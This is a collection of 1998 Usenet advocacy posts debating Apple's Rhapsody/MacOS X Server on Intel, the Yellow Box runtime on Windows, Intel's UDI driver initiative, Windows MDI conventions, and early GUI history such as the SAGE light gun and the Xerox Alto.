References: <36099217.345010578@news.newsguy.com> <361301ea.0@news.depaul.edu> <6v01io$luh$1@nnrp02.primenet.com> <6v05f4$2eg@newsb.netnews.att.com>
Originator: gupta@tlctest
John Jensen <jjens@primenet.com> wrote:
>Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>: Intel's recent noise about making device drivers easier for
>: Unix vendors puts an interesting spin on Apple's alleged reason
>: for not wanting to support Intel - drivers and support. If
>: this were really the reason, Apple could jump in with Intel,
>: and wind up with easier driver development.
>
>I agree.
Oh, one more thing -- the best I can tell, Intel endorsed UDI publicly
for the first time on September 16, 1998.
I suppose you all expect Apple to jump in enthusiastically the next
day. Despite all the big-moneyed operators involved --
Compaq, HP, IBM, Intel -- they appear to want the Linux community
to write the actual source.
Intel's own press release states "...Intel plans to contribute
knowledge of Intel system interfaces and initiatives, as well as
devote engineering resources to work with Project UDI to complete
a high-performance reference design of the UDI framework and
common device drivers. With growing support from the Linux community
and its creator, Linus Torvalds, the completed source code and
self-certifying test suite will be given freely to commercial
UNIX vendors....."
***
Another question is : what happens to drivers already in development
for Rhapsody ? I/O kit ? Presumably you want an announcement that
I/O Kit will be modified to produce UDI drivers. Shouldn't Apple
think about this for a week before deciding what to do ?
With expectations like these, I think y'all are likely to be
perpetually disappointed.
-arun gupta
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel
Date: 1 Oct 1998 16:49:55 GMT
Organization: Primenet (602)416-7000
Message-ID: <6v0brj$noa$1@nnrp02.primenet.com>
References: <36099217.345010578@news.newsguy.com> <361301ea.0@news.depaul.edu> <6v01io$luh$1@nnrp02.primenet.com> <6v05f4$2eg@newsb.netnews.att.com> <6v06n9$2g8@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
: Oh, one more thing -- the best I can tell, Intel endorsed UDI publicly
: for the first time on September 16, 1998.
I'd imagine that Silicon Valley insiders knew about UDI a bit earlier.
: I suppose you all expect Apple to jump in enthusiastically the next
: day. Despite all the big-moneyed operators involved --
: Compaq, HP, IBM, Intel -- they appear to want the Linux community
: to write the actual source.
Compaq, HP, and IBM knew about it?
: Another question is : what happens to drivers already in development
: for Rhapsody ? I/O kit ? Presumably you want an announcement that
: I/O Kit will be modified to produce UDI drivers. Shouldn't Apple
: think about this for a week before deciding what to do ?
Presumably I want?
: With expectations like these, I think y'all are likely to be
: perpetually disappointed.
What expectations, all the ones you supplied for me?
John
From: mmccullo@nospam.net (Michael McCulloch)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Message-ID: <3612b507.1391230@news2.icx.net>
References: <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <joe.ragosta-2809980632320001@elk33.dol.net> <360F9CE3.1F25A371@nstar.net> <pulsar-ya02408000R2809981121510001@news-proxy.cso.uiuc.edu> <360FBF7B.C2A1CAEE@ericsson.com> <pulsar-ya02408000R2809982205540001@news-proxy.cso.uiuc.edu> <36106cf1.0@news.depaul.edu> <3611b52e.347174@news2.icx.net> <6ut7ig$cok$1@news.idiom.com>
MIME-Version: 1.0
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Date: Wed, 30 Sep 1998 22:48:45 GMT
NNTP-Posting-Date: Wed, 30 Sep 1998 17:50:33 CDT
jcr.remove@this.phrase.idiom.com (John C. Randolph) perhaps wrote:
> Michael McCulloch may or may not have said:
>-> I personally don't see a top-notch, feature-rich, commercial quality
>-> Windows app written in Yellow Box for Win32 as a strong possibility.
>
>Well then, I guess I've seen the impossible.
Please enlighten me as to what you have seen.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 1 Oct 1998 17:08:25 GMT
Organization: Primenet (602)416-7000
Message-ID: <6v0cu9$jur$1@nnrp03.primenet.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu>
<360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com>
Sal Denaro <sal@panix.com> wrote:
: The runtime they could have shipped does not include all the changes made
: to the product during the development. Was it worth the risk to ship a
: product that would have been badly reviewed?
It seems to me that everytime someone asks how good *step technology and
YB are, a developer says "I recompiled my *step product overnight and ran
on YB the next day." But every time someone says ship-it, another person
replies as you do "I would rather that they took the time needed to build
a solid product." Which is it?
: No Java? No Quicktime?
I can think of quite a few successful products that contain neither.
: I would rather that they took the time needed to build a solid product, that
: would be easier for me to sell than ship it now.
: I think it much more important for Apple to ship it right than just to ship
: it. How much would it cost developers if Apple shipped it and didn't market
: it? Or if Apple shipped it without win95 support? Java? How much would it
: cost developers if they had to overcome FUD caused by shipping a product
: before it is ready?
Gosh, you don't make this YB stuff sound too good. Dumb me, I believed
all that stuff Apple told me in December '96 about aquiring a mature
product.
John
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 1 Oct 1998 16:52:34 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6v0c0i$ro0$1@news.spacelab.net>
References: <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <joe.ragosta-2809980632320001@elk33.dol.net> <360F9CE3.1F25A371@nstar.net> <pulsar-ya02408000R2809981121510001@news-proxy.cso.uiuc.edu> <360FBF7B.C2A1CAEE@ericsson.com> <pulsar-ya02408000R2809982205540001@news-proxy.cso.uiuc.edu> <36106cf1.0@news.depaul.edu> <3611b52e.347174@news2.icx.net> <6ut7ig$cok$1@news.idiom.com> <3612b507.1391230@news2.icx.net> <36126A2D.7A57@earthlink.net>
Mime-Version: 1.0
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Steve Kellener <skellener@earthlink.net> wrote:
>Wasn't the consumer version supposed to originally ship in January?
Don't think so-- if you remember Apple's original roadmap, with the pretty
yellow and blue boxes, January had full YB and a partially filled BB (to
indicate only partial blue box support).
>Then Summer, then Q3, now November?
The original roadmap talked about a Q3 release, IIRC. When they solidified
their roadmap into the specifics of DR1, DR2, CR1, they were talking about a
"end of September" timeframe for CR1.
It's Oct 1, which means it's now becoming late...but I believe it's coming
out sooner than November. Possibly Apple simply needs a little breathing
room because of the recent MacOS 8.5 release (that just came out, right)?
-Chuck
Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
----------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Thu, 01 Oct 1998 12:22:07 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R0110981222070001@news-proxy.cso.uiuc.edu>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <3612920B.E58FCA6E@ericsson.com> <6v02fr$n28@news1.panix.com> <36139693.BCDEEA7C@nstar.net>
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Content-Type: text/plain; charset=ISO-8859-1
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In article <36139693.BCDEEA7C@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
> Sal Denaro wrote:
>
<snip>
>
> > Apple can not promise a free runtime since the runtime requires 3rd party
> > products. They have stated intent, and appear to have taken action to make
> > good on this intent. (i.e. removal of 3rd party portions of YB)
>
> This must be a retraction, since you previously said:
It is not a retraction. It is somewhat incomplete. What he _should_ have
said and probably meant to say was "Apple can not promise an immediate free
runtime since it requires 3rd party products. They have stated intent as in
the FAQ and other places, and appear to have taken action towards making
good on this intent (i.e. removal of 3rd party portions of YB).
> > The FAQ also states that Apple has commited to providing a free runtime.
>
> </quote>
<snip>
> > This is pure speculation. Do you have any evidence to back this up? Apple
> > has made statements about YB/NT, they have not made any statements about
> > YB on MacOS9.
>
> Well, of course it's speculation. That's what "they could..." means in
> English. You asked "Why would Apple work to remove the YB licensing fee
> if it did not plan to keep it around?" So I gave several possible
> reasons to answer this.
>
> I realize it's embarassing when your supposedly self-evident point is
> crushed on the threshing floor of USENET, but do try to stay on-topic.
There is to be no YB for Mac OS 9. That is a Mac OS X Server and Mac OS X
only thing (as far as the "Mac OS" goes).
In fact, the only other reasonable explanation for removing DPS for
something free in YB for Windows is that Apple is also doing that for Mac
OS X and may want to be licensing as little as possible 3rd party parts of
the OS so that 1) Apple controls exactly what goes into the OS and how it
interacts with the rest of the OS, 2) so Apple doesn't have to spend money
for royalties, and 3) because what DPS is being replaced with performs
better as far as speed and efficiency. Doing this for YB for Windows is
just a move to make it 1) free, and 2) compatible with the Mac OS X YB.
This is because a free YB runtime will be more successful than a costly one
(particularly when that cost isn't making _Apple_ any money).
Ryan Tokarek
<pulsar@springnet1.com>
From: hughesojh@my-dejanews.com
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: What do Apple Sell? Why would they damage their business?
Date: Thu, 01 Oct 1998 10:22:54 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6uvl5r$18r$1@nnrp1.dejanews.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net> <360FB35C.693E5D91@ericsson.com> <36111C49.C787143@nospam.com> <6uupgl$99n$1@nnrp03.primenet.com> <361301ea.0@news.depaul.edu>
Here's the problem with Rhapdsody x86.
Apple sell systems.
Their systems are cheaper and faster than Wintel crap.
There is no real excuse for not buying them when you get a new system.
If you run Office 98 on your mac, you have full file compatibilty with Office
97, and by way of Office 97, Applixware and anything else you could mention.
So, you've got a computer that will open your employees PeeSea files, but not
run their games and viruses.
Sure, not every company will have upgraded to G3/G4 by the time Rhapsody CR
1.0 is out.
Thats why Apple are releasing an x86 version of CR 1.0.
After that, it's your problem if you're still running an inferior over-priced
platform.
DYS?
Apple learned some lessons with the whole PPC cloning thing.
Power consistently produced better, faster cheaper systems.
This resulted in Apple losing a share of their market and making crap like the
4400.
It was around the time of the whole Cloning debacle that Apple looked most
like giving up the ghost and switching to making x86 boxes.
They ARE NOT going to make the same mistake twice, esp. not with Jobs at the
helm.
OJH1138_
In article <361301ea.0@news.depaul.edu>,
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy John Jensen <jjens@primenet.com> wrote:
>
> > Anyway, I'd say Apple's current heading is as a system vendor, and I
> > wouldn't look for a commitment to anything that doesn't support that goal.
> > I'm afraid Rhapsody on Intel doesn't support that goal.
>
> Probably true - unless Intel support lets them cover a range of
> hardware which they don't want to produce. If Apple doesn't want
> to make big honkin' servers, with all the hardcore paraphernalia,
> they've nothing to lose by making Rhapsody run on big honkin' Intel
> servers - and little else.
>
> By limiting the number of drivers available, Apple could limit the
> effect of Intel competition to a manageable level. This assumes
> that third parties can't or won't take up the slack and produce
> drivers which are in demand. The disconnect between Rhapsody
> and MacOS/X driver architectures may help further limit Rhapsody
> driver development, I think. Third parties could make more money
> writing drivers for PC devices so they work with OS/X on PowerMacs.
>
> In effect, Apple would add to the top end of their line, without
> having to invest in hardware R&D in that market. However, they
> probably won't do this.
>
> Intel's recent noise about making device drivers easier for
> Unix vendors puts an interesting spin on Apple's alleged reason
> for not wanting to support Intel - drivers and support. If
> this were really the reason, Apple could jump in with Intel,
> and wind up with easier driver development.
>
> --
> Note: email to this address goes to /dev/null
> To email a reply, write to jon at exnext dot com
>
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
From: nagle@netcom.com (John Nagle)
Subject: Re: A Brief History of the GUI
Message-ID: <nagleF017Ar.LpK@netcom.com>
Organization: ICGNetcom
References: <6undpt$dv$1@eskinews.eskimo.com> <B2348DA5-571F6@206.165.43.157>
Date: Tue, 29 Sep 1998 05:59:14 GMT
Sender: nagle@netcom6.netcom.com
"Lawson English" <english@primenet.com> writes:
>Chris Alsan <bgodot@eskimo.com> said:
>>
>>Isn't a mouse just an upside-down trackball?
>Actually, a trackball is an upside-down mouse. Englebart first published in
>the late 50s/early 60's, before there were trackballs, AFAIK.
The trackball came before the mouse. But the first
graphical input device was the "light gun" developed for the
SAGE air-defense system. This remains one of the cooler peripherals;
it was a cast metal gun-like device with a trigger that you pointed
at a large round CRT to select targets. In an attack situation,
pulling that trigger would actually cause an anti-aircraft missile
(a Nike Ajax) to be launched at the indicated target. A building-sized
vacuum-tube computer (duplicated for reliability) supported about
30 massive consoles with big CRTs and light guns. One such console
can still be seen at the Computer Museum in Boston.
Englebart is noted for introducing the concept of graphical interfaces
for mundane applications like document processing. When he did it, it
was strictly a demo; it took a whole mainframe computer (a PDP-10) to
drive his system.
The Xerox Alto was the first machine with a GUI anybody could
actually use. And it didn't have a "desktop" in the modern sense.
You could run a Smalltalk environment, or you could run Bravo, the
first WYSIWYG word processor. There was a development environment,
offering Mesa and BCPL. I've used and programmed an Alto, and it was
a cute little machine for its day. It wasn't cost-effective; each unit
cost somewhere above $20K just to manufacture. Data General built the
things under contract to Xerox PARC. About 200 were made.
John Nagle
From: "Chris Alsan" <bgodot@eskimo.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A Brief History of the GUI
Date: Thu, 1 Oct 1998 10:56:35 -0700
Organization: Eskimo North (206) For-Ever
Message-ID: <6v0fpo$cpp$1@eskinews.eskimo.com>
References: <6undpt$dv$1@eskinews.eskimo.com> <B2348DA5-571F6@206.165.43.157> <nagleF017Ar.LpK@netcom.com>
John Nagle wrote in message ...
>"Lawson English" <english@primenet.com> writes:
>>Chris Alsan <bgodot@eskimo.com> said:
>>>
>>>Isn't a mouse just an upside-down trackball?
>
>>Actually, a trackball is an upside-down mouse. Englebart first published
in
>>the late 50s/early 60's, before there were trackballs, AFAIK.
>
> The trackball came before the mouse. But the first
>graphical input device was the "light gun" developed for the
>SAGE air-defense system. This remains one of the cooler peripherals;
>it was a cast metal gun-like device with a trigger that you pointed
>at a large round CRT to select targets. In an attack situation,
>pulling that trigger would actually cause an anti-aircraft missile
>(a Nike Ajax) to be launched at the indicated target. A building-sized
>vacuum-tube computer (duplicated for reliability) supported about
>30 massive consoles with big CRTs and light guns. One such console
>can still be seen at the Computer Museum in Boston.
>
wow, that kicks ass :), next time I'm playing a light gun game, I'll be
thinking of that.
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Tue, 29 Sep 1998 01:49:44 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R2909980149440001@news-proxy.cso.uiuc.edu>
References: <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <pulsar-ya02408000R2609981506190001@news-proxy.cso.uiuc.edu> <6ujsdb$61$1@nnrp1.dejanews.com> <pulsar-ya02408000R2609981847050001@news-proxy.cso.uiuc.edu> <6uktef$2gu$1@nnrp1.dejanews.com> <joe.ragosta-2709980742220001@elk60.dol.net> <6ulmur$7td$1@nnrp02.primenet.com> <pulsar-ya02408000R2709981848350001@news-proxy.cso.uiuc.edu> <360ECFB0.340D9918@nstar.net> <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <joe.ragosta-2809980632320001@elk33.dol.net> <360F9CE3.1F25A371@nstar.net> <pulsar-ya02408000R2809981121510001@news-proxy.cso.uiuc.edu> <360FBF7B.C2A1CAEE@ericsson.com> <pulsar-ya02408000R2809982205540001@news-proxy.cso.uiuc.edu> <3610635C.ED674DC2@nstar.net>
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In article <3610635C.ED674DC2@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
> Pulsar wrote:
>
> > Except where the design of the application is such that it deals with
> > multiple documents at once. In that case SDI enforced over an MDI design
> > would be _wrong_ and _bad_. The way Windows handles multiple documents for
> > a single application is called Multiple Document Interface. This is a
> > _Windows_ inherent design limitation. Apple cannot get around it without
> > blatantly defying Windows UI guidelines.
>
> I don't know what you're talking about, and I doubt you do, either, at
> this point. MDI is provided as a convenience for handling multiple
> documents. If you want to handle each document window separately
> yourself (or your application framework is capable of it, as Yellow Box
> could be), you're free to use whatever metaphor is most appropriate for
> your application.
Yes, and sometimes a multiple document metaphor is most appropriate. There
are some cases where a single application should be dealing with multiple
documents and where some application commands change the global state of
the application and therefore the open documents. In that case on Windows
you use MDI. If your YB application is like this, you use MDI. For Apple to
dictate that there will be no MDI ever in YB would be rather silly.
In the case of Windows, MDI means having a single encompassing application
window inside of which all the open document windows are confined. I don't
think it's bad for applications to open multiple documents. I think it is
horrible to force them into a single window as in Microsoft's specification
for MDI. Microsoft has a programming interface specifically for MDI. This
is a limitation of Windows and does not come from the ability to open
multiple documents. (Specifically it's a limitation of the menu system
which basically forces such an abomination through its placement of menus
in the same window as application content.)
I've seen some work arounds for MDI, but they present their own set of
inconsistencies that would all be eliminated if MS would just take menus
out of the "application window". A lot of bad UI is caused by trying to
make windows into representations of applications.
> > Would it be better for a Windows user to have good dialogs sometimes or to
> > have consistent dialogs? It's up to Apple's discretion, but if it breaks
> > too many Windows-isms, people will not even accept the YB despite the fact
> > that it may be better.
>
> Oh, right. Just like people don't accept the way Microsoft Office
> applications blatantly break "Windows-isms" with every release. Baloney.
Office defines the Windows-isms to users. Whether they follow MS's own UI
guidelines or not is irrelevant to that. Furthermore, people accepting the
inconsistency doesn't mean that people _like_ the inconsistency.
> > As far as being able to do it, yes. As far as trying to create a
> > programming environment that produces applications that fit the Windows
> > user environment, _absolutely_not_!
>
> What is getting you so excited about the Windows UI guidelines? I don't
> know of a single Windows app on my computer that adheres 100% to the
> Windows UI guidelines.
Which is part of why I consider Windows (and its assorted applications) to
be crappy. It's why I don't choose to use it when I have that choice.
> Windows developers strive to write popular apps,
> not rigidly compliant apps. Try using some Windows software some time;
Oh, come off it. I've _written_ Windows software. Your implication that
I've not used Windows is _way_ off.
> it will open your mind. I'm not going to say that Windows apps openly
> flout the guidelines; I'm saying that adherence to UI guidelines doesn't
> appear in software reviews the way it does for MacOS programs. Sometimes
> a new (and technically illegal) interface is highly acclaimed. I've
> already used WinAmp as an example.
WinAmp just provides ways to change widgets. That's all surface look. It
does not change the behavior. Furthermore, the difference in interface is
appropriate to that application and situation. It actually adheres (more or
less) to a common interface that we deal with when using CD players and
such.
<added back in for context>
> > > > Widget appearance is adopted from the parent OS. As far as I can tell
> > > > 95% of the behavior of all GUI items is dictated by Yellow Box.
> > >
> > > How much of that has been reworked for the YB on Windows version to match
> > > Windows behaviors?
> >
> > What behaviors? Like MDI? I suggest you try running an obscure program
> > called "Netscape Navigator", which does not use the MDI.
</added back in for context>
> > Netscape Navigator does not need MDI! Not _all_ applications do!
>
> Precisely.
Precisely what? That response is ludicrous.
In some cases it's appropriate to use multiple documents and in others it
is not. If YB were to avoid the ability to deal with multiple documents
because its particular implementation on Windows (MDI) is bad, then YB
would not provide functionality that is sometimes needed and appropriate
for developers.
> > Try an
> > obscure program like Microsoft Developer Studio. Heh. It's MDI. How about
> > Word? Well, the user can use it as an SDI app, but MDI is available there
> > too.
>
> Precisely.
Again, precisely what?
> > These are not obscure and they are written by MICROSOFT! As bad as
> > Microsfoft is at following it's own UI guidelines, for _Apple_ to ignore
> > them would be so much worse.
>
> Hey, are you a Windows user?
Yes at work (in addition to Macs, though more of my focus is on Macs).
> Who are you to say what is acceptable or not?
Who are you to ask that question?
> Personally, I like innovative interfaces. I don't give a rip about
> adherence to some arbitrary set of guidelines insofar as they inhibit
> effectiveness.
There you and I apparently differ. When I use a particular OS, I get into a
mode where I come to expect certain behaviors and get somewhat thrown off
when I come upon something off the wall or sometimes even slightly
different. It's a (usually relatively minor) interruption in my workflow.
If they are particularly good ideas, then I might not get bothered by it,
but I find that it's not all that often the case.
Unix with its assortment of X based apps which each seem to follow some
unknown and varied set of UI guidelines is one of the worst culprits of
inconsistency. I find that environment very annoying to work in.
> Claiming that Apple has a moral imperative to adhere to
> guidelines to support your argument that this would make YB on Windows
> *WORSE* is total crapola. I can't believe I'm hearing this.
You don't appear to understand my argument. I admit I don't entirely
understand yours either.
It is not a moral imperative specifically that would cause Apple to tend to
adhere to Windows UI guidelines, but rather the fact that blatantly
ignoring them would present to a Windows user a totally inconsistant UI.
I'll bet that Apple's name goes on to the YB and that applications that use
it make that clear (as part of an 'About this application' kind of thing).
It would look bad for the developers and for Apple to do this. Complete
consistency with Windows UI guidelines might be ideal (I say _might_), but
probably isn't going to happen. However, deliberately going against many of
these guidelines even if in some cases it's done better could reflect badly
on Apple and the developer. Perhaps not. I believe that it would annoy more
people than delight. Assuming this, it would likely be a good idea for
developers to stay away from such a thing (a YB that breaks Windows UI
guidelines all over the place). Assuming that Apple would do better to
"cripple" the YB by sticking with the Windows user experience.
I'm saying it just makes good sense. There's no particular moral imperative
here. Sheesh.
If we assume that the Windows user experience is inferior to the Mac's and
that the YB implementations for each try to match as best as reasonable the
UE of the OS it's hosted on, then we see that Apple essentially creates a
product that is inferior to the Mac equivalent from a user perspective.
This would tend to have the side effect of promoting the Mac OS and because
that OS is (or rather will be) only available on Mac hardware, it will tend
to be beneficial for Apple sales.
That is one level of promotion of Apple and probably the less significant
one since as a cross platform solution it should do that anyway (again
assuming the Mac UE to be better than that for Windows and assuming that
Apple should adhere to the UI guidelines of the OS the YB is hosted on).
Another level of promotion is the potential for increased availability of
Mac software. For the developer this could be a nice situation since his
product stands to be well received on the Windows platform and the same
code base can be used to target another platform as well (where it also
stands to be well received). This alone probably wouldn't be good enough,
but what would tend to make it worthwhile is that it is one of the best
development environments around (thoug I do not say that from personal
experience; I have relatively little experience as far as that goes).
I fail to see how the YB is not really a cross-platform technology as you
seem to imply. I don't understand why you seem to think that Apple isn't
supporting this or wouldn't want to.
> You want to have your argument both ways, eh? This is going nowhere.
Precisely.
Shall we end this?
Ryan Tokarek
<pulsar@springnet1.com>
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 1 Oct 1998 19:52:13 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6v0mhd$6b@news1.panix.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com>
On 1 Oct 1998 17:08:25 GMT, John Jensen <jjens@primenet.com> wrote:
>Sal Denaro <sal@panix.com> wrote:
>: The runtime they could have shipped does not include all the changes made
>: to the product during the development. Was it worth the risk to ship a
>: product that would have been badly reviewed?
>It seems to me that everytime someone asks how good *step technology and
>YB are, a developer says "I recompiled my *step product overnight and ran
>on YB the next day." But every time someone says ship-it, another person
>replies as you do "I would rather that they took the time needed to build
>a solid product." Which is it?
Both.
WebObjects is a YB App that is selling well (on NT) in markets that are
normally hostile to Apple products. (Financial, insurance, F500 companies)
Is it perfect? Hardly. It looks too much like and OpenStep App, and
therefore stands out as being "not really a windows App" It was OK for
NeXT's market, but I doubt that it would have fared well in the consumer
channels.
Is it good enough to ship? Yes, but not in Apple's markets.
And, come to think of it, how could anyone take an Apple cross platform
development system seriously if it wasn't shipping on Apple hardware?
>: No Java? No Quicktime?
>I can think of quite a few successful products that contain neither.
True. But wouldn't it be easier to sell Java than Objective-C? I would
hate to have to tell people that my product was written in something
they never heard of.
>Gosh, you don't make this YB stuff sound too good. Dumb me, I believed
>all that stuff Apple told me in December '96 about aquiring a mature
>product.
The product they aquired in '96 isn't what they are planning to ship.
Message-ID: <3618D157.D7637EDE@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
References: <6v9l1r$27uq$1@piglet.cc.uic.edu> <361862AC.B572DA9@nstar.net> <x7r9wnuymx.fsf@loathe.com>
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NNTP-Posting-Date: Mon, 05 Oct 1998 10:02:55 EDT
Organization: ISPNews http://ispnews.com
Date: Mon, 05 Oct 1998 09:01:59 -0500
Matt Evans wrote:
[cut]
> Whats important
> is that Sun can absorb winning technologies it sees. I feel bad for ROSS
> since the ultra boxes just crush the best SS20 you can build, but thats
> how it goes. ROSS made a kick ass product that gave sun the balls they needed
> while they were developing the sun4u architecure, and ROSS made alot of
> money on the way i'd imagine.
Great point.
[cut]
> Every reasonable person
> knows that 2k price difference up front doesn't mean alot if it buys you
> 2 days of time when you'd be otherwise down.
This isn't important to *most* people, which is why they'll look for a
value-priced solution. But it *is* important to telecom customers, who
expect less than 60 seconds per year of downtime. And they'll pay for
it. That's one of the ways Sun makes its money.
[cut]
> The theory of "think different" isn't fooling anyone.
> Everyone roots for the underdog but not so many people are willing to put
> down the cash on the underdog.
Exactly.
[cut]
> Perhaps apple can engineer soemsort of render farm type computer.
> Maybe if apple can get a fucking decent operating system written, people
> can start seeing things like "SMP Photohop 6.0, available exclusively for
> PowerMacintosh G3". Or hell, why not build a PCI card thats a vector
> processor ? How much of 2d graphics work is 3x3, 5x5, or 7x7 matrix
> math ? Write a cute API for it that macos developers can understand and use,
> and then suddenly alll sorts of programs can use it.
There are *continents* of new territory to explore. They need to get up
and start doing the things nobody else does...the way they used to.
[cut]
> No one argues that
> the MacOS interface is better. No one argues that much very cool software
> is written for the Mac. Everyone agrees that we all like macintoshes.
> Now make them cheaper, and make them worth liking even more.
Excellent post.
MJP
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOS X Server for Intel
Date: Wed, 30 Sep 1998 14:40:40 -0500
Organization: Ericsson North America Inc.
Message-ID: <36128938.D53F0BDA@ericsson.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net> <360FB35C.693E5D91@ericsson.com> <36111C49.C787143@nospam.com>
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Tim Triemstra wrote:
> You remember wrong.
I don't remember talking to you about it. Did I remember this wrong,
too?
> Many of us were shouting for portability from the
> beginning (many of us come from the NeXT community and are only here
> from that experience.) We cried how great it would be to have an
> Apple-supported Rhapsody on Intel. We cried how much better the apps
> could be. We cried how we wouldn't need to rely on Microsoft's OS
> anywhere. We were praying to the gods to keep Interface Builder and
> Project Builder so we could use a top-notch development platform (not YB
> on Windows which is NOT stable) to deploy on many platforms.
This is untenable. You've basically inserted this into a thread where it
doesn't belong. You might have noticed that Joe Ragosta said "YB
everywhere", which is not what you're talking about. It looks like
you're talking about putting Rhapsody on Mach everywhere rather than YB
everywhere, which is just about as braindead an idea as the
single-platform MacOS X strategy.
I'm sorry to be so harsh, but now that I recognize what you're saying, I
realize that I *don't* remember wrong.
[cut]
MJP
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
Date: 5 Oct 1998 14:00:25 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6vajdp$h59@newsb.netnews.att.com>
References: <3615835C.225B608D@nstar.net> <6v6hvv$c0q@newsb.netnews.att.com> <3616F492.6F890E92@nstar.net>
Originator: gupta@tlctest
